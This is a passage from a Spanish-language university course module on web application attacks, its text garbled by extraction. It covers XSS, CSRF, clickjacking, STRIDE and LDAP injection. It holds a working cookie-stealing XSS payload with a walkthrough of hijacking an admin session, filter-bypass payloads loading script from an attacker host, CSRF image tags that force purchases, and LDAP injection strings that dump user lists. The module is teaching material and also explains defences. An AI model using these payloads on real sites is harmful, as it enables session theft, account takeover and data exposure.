cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody
CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web
analizando de nuevo el formulario de enviacuteo Mediante true se indica que
la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se
quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje
bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()
se usan para establecer cabeceras HTTP que hagan que el servidor web
entienda que lo que estamos enviando es un formulario aunque el usuario
no lo haya rellenado
bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d
que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador
realiza las acciones definidas anteriormente y si todo ha salido bien el
usuario afectado nos enviaraacute su cookie de sesioacuten
Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar
un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con
nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido
Figura 4 XSS antes de ser enviado
Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en
el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir
un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo
tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-
ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-
go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute
completamente desapercibido para el usuario admin cuando este inicia sesioacuten
con su navegador y automaacuteticamente se le presenta su bandeja de entrada
El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada
seriacutea
ltdiv class=contenidogt
ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt
d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest ()
CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web
else
x=new ActiveXObject (MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
iexclQue pagina mas chulaltpgtltdivgt
ltdivgt
ltbodygt
Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-
maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de
sesioacuten
Figura 5 Mensaje recibido por el usuario eviluser
Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-
ficar el valor de su cookie con el valor recibido De este modo cuando su nave-
gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al
usuario admin
Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-
car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del
administrador de un sitio web hemos logrado acceder a su cuenta
114 Filtros XSS
En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript
directamente como se ha realizado en el ejemplo anterior Habitualmente los
programadores habraacuten establecido una serie de reglas para intentar evitar los
fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-
ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos
permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-
nales que se presenten
CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web
Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-
trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para
entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-
rar de este modo nuestras posibles implementaciones de filtros antiXSS
bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta
teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-
ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-
rrar una etiqueta HTML como vimos anteriormente y nos encontramos
con que se estaacuten escapando nuestras comillas pueden darse dos situacio-
nes ambas salvables por parte del atacante La etiqueta queda cerrada co-
mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos
seguir introduciendo coacutedigo Javascript
ltinput type=text name=q value= gt
ltscriptgtalert(documentcookie)ltscriptgt
Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-
bir correctamente las comillas Son varios los meacutetodos que se pue-
den usar en estos casos Por ejemplo podemos utilizar la funcioacuten
StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una
cadena
StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)
Tambieacuten es posible establecer referencias a ficheros Javascript externos
donde podremos usar todos los caracteres que deseemos sin preocuparnos
por ninguacuten tipo de filtro
ltscript src=httpwwwatacantecomxssjsgtltscriptgt
bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-
tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero
determinado de caracteres Esta limitacioacuten se puede solventar de nuevo
de dos maneras
ndash Si son varias las variables donde es posible introducir coacutedigo Javascript
podemos usar la suma de los caracteres correspondientes a cada una de
ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-
riacutea mediante los caracteres de comentarios multiliacutenea de Javascript
al inicio y al final
ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un
fichero externo para cargar todo el coacutedigo Javascript necesario Para
reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo
tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom
xssjs queda traducida a httpisgdowYT
CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web
ltscript src=httpisgdowYTgtltscriptgt
bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir
loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-
te podriacutean parecer dos casos distintos al final pueden ser resueltos de la
misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al
ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-
ver cuando se desplaza el cursor por encima OnClick cuando se hace clic
sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro
coacutedigo
ltinput type=text name=buacutesqueda value=
OnFocus=alert(Hola Mundo) gt
bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar
Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor
sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas
para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no
en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en
la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica
ni llegar a conocer todos los entresijos de la misma sino que el atacante
deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-
digo XSS
12 Cross Site Request Forgery (CSRF)
Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas
concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es
el cross site request forgery (CSRF)
El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice
acciones no deseadas en dominios remotos Se basa en la idea de apro-
vechar la persistencia de sesiones entre las pestantildeas de un navegador
Vamos a analizar con un ejemplo hipoteacutetico para entenderla
El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF
Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-
CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web
minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente
En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada
httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes
Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado
Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla
Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML
Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota
Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt
Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF
ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt
Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-
do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que
la imagen rota que se genera se le muestre al usuario
El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la
paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros
se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten
Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST
Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo
Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que
existan en la aplicacioacuten
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
tions que si figura establecida como deny impide que la paacutegina que la en-
viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de
establecer el valor como sameorigin para permitir que uacutenicamente pueda
ser cargada si la peticioacuten se realiza desde el mismo dominio
Figura 11 IFRAME bloqueado desde Internet Explorer 8
bull En el resto de navegadores como GoogleChromeOperaSafarieInter-
netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten
y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos
tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-
gador
CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web
2 Ataques de inyeccioacuten de coacutedigo
Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet
Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten
puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante
Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma
geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un
tipo de ataque
1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita
a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de
ataque se usan de forma muy extendida en Internet a varios niveles
a) Nivel de enlace
Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones
de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en
servidores DHCP ( dynamic host configuration protocol)
b) Nivel de Red
bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-
tringidas a determinadas direcciones IP Se hicieron famosas en el ataque
a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo
directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo
desde un servidor con una direccioacuten IP en concreto
bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-
plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En
el caso del nivel de red el objetivo es controlar el socket mediante la su-
plantacioacuten del nuacutemero de secuencia
c) Nivel de Aplicacioacuten
bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima
crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-
ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de
envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-
cha del cumpleantildeosrdquo son utilizados para lograr este objetivo
bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que
hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta
teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten
CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web
mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-
nicas de suplantacioacuten de DNS
bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-
lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-
tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o
un paraacutemetro por GET o por POST
bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de
usurpar la identidad de un usuario para realizar las acciones en su lugar
2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-
nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten
Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-
dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor
de la misma
3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-
rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-
rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial
relevancia en entornos de anaacutelisis forense o sistemas contractuales
4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que
implica que un usuario no permitido acceda a informacioacuten o documentacioacuten
sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten
protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-
nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica
de Proteccioacuten de Datos (LOPD)
5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-
llas que interrumpen la continuidad de los procesos de negocio o servicio de
una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en
los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (
botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
